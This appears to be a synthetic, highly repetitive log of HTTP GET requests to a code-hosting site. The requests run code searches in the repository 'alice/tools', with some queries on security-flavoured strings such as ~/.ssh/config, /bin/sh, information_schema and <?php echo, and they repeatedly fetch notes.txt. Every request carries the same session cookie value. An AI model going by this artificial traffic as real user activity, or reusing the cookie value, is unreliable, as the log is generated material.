{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
